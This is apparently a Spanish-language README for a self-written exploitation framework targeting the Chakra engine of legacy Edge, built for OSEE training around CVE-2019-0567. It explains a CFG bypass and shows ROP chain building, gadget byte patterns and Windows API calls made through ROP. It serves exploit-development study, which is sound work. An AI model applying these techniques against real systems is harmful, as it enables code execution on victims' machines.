Framework de explotación de navegadores para Chakra (Edge). Escrito como parte de la preparación para OSEE. Bug de demostración: CVE-2019-0567
Este repositorio contiene el framework de explotación de navegadores que escribí para prepararme para mi curso EXP-401. El framework está dirigido al motor Chakra, que formó parte de Edge hasta su migración a v8 en 2019.
La vulnerabilidad de demostración utilizada en el framework es la confusión de tipos CVE-2019-0567.

Para que este framework sea fácil de usar, escribí algunas características interesantes que hacen que implementar futuras evasiones de sandbox sea increíblemente fácil.
El framework permite llamar a las API de Windows a alto nivel. Utiliza una cadena ROP GetProcAddress para resolver cualquier API y admite hasta cuatro parámetros.
function getcomputername_example(winapi, memory_access, memory_manager) {
// Allocate some space for our GetComputerNameA parameters
let buffer_size = 0x100;
let lpBuffer = memory_manager.malloc(buffer_size);
let nSize = memory_manager.malloc(0x8);
memory_access.write_dword(nSize, buffer_size);
let hresult = winapi.call_function("kernel32.dll", "GetComputerNameW", [lpBuffer, nSize]);
memory_access.hexdump(lpBuffer, buffer_size);
log("GetComputerNameA HRESULT: %p", hresult);
}
El bypass de CFG que utilicé fue la técnica leafInterpreterFrame. Al recorrer algunos objetos, puedes filtrar una dirección de pila. Desde ahí, puedes buscar un puntero a función, sobrescribirlo y obtener ejecución. Portarlo a mi versión de Chakra fue un poco complicado, así que escribí un blog al respecto aquí.
Un amigo me mostró una técnica muy interesante para que volver al mundo de JavaScript sea realmente fácil. Consiste en envolver el bypass de CFG en una llamada [1].map(), lo que permite continuar la ejecución en la función padre: hace que el código se vea mucho más limpio. Puedes ver un ejemplo de ello aquí
Muchas API de Windows requieren que los parámetros y los búferes estén alineados. Anteriormente, llamaba a las API de Windows preparando los parámetros en la sección .data; era muy doloroso. Al final, escribí mi propio asignador de memoria que llama a VirtualAlloc, en ROP, y luego permite que otros objetos reserven memoria del búfer con malloc. ¡El asignador de memoria también siempre devuelve búferes alineados!
La forma en que se escriben las cadenas ROP es la siguiente:
let rop_buffer = this.memory_manager.malloc(0x400);
let rop = new ROP(this.aslr.get_chakra_base(), this.memory_access);
rop.pop_rcx(0x4141414141414141);
rop.getChain().map((gadget) => {
this.memory_access.write_pointer(rop_buffer, gadget);
rop_buffer += 8;
});
Los gadgets ROP subyacentes están implementados como pequeñas funciones:
pop_rcx(value) {
this.add_gadget(this.pattern_scan.scan_for_gadget(["pop_rcx", "ret"]));
this.add_gadget(value);
}
De esta manera, podemos hacer cadenas de gadgets más complejas para realizar una acción de mayor nivel, como pop r9. No había un gadget adecuado, así que se implementa como una combinación de varios:
pop_r9(value) {
this.pop_rax(value);
this.add_gadget(this.pattern_scan.scan_for_gadget(["mov_r9_rax", "add_rsp_20", "pop_rbx", "ret"]));
// Add filler for rsp
this.nop();
this.nop();
this.nop();
this.nop();
// Add filler for rbx
this.nop();
}
Para intentar aumentar la portabilidad del framework, también hay un escáner de patrones ROP. Utiliza la primitiva read para buscar una secuencia de bytes que forme la cadena requerida.
También hay una caché global que mejora drásticamente el rendimiento del escáner.
get_pattern(instruction) {
let byte_patterns = {
"mov_r9_rax": [0x4c, 0x8b, 0xc8],
"add_rsp_20": [0x48, 0x83, 0xc4, 0x20],
"pop_rax": [0x58],
"pop_rbx": [0x5b],
"pop_rsp": [0x5c],
"pop_r8": [0x41, 0x58],
"pop_rdx": [0x5a],
"pop_rcx": [0x59],
"mov_rax_deref_rcx": [0x48, 0x8b, 0x01],
"add_rsp_0x18": [0x48, 0x83, 0xc4, 0x18],
"add_rsp_0x28": [0x48, 0x83, 0xc4, 0x28],
"mov_deref_rcx_rax": [0x48, 0x89, 0x01],
"mov_rcx_deref_rax_plus_20": [0x48, 0x8b, 0x48, 0x20],
"mov_deref_rdx_plus_30_rcx": [0x48, 0x89, 0x4a, 0x30],
"ret": [0xc3],
};
return byte_patterns[instruction];
}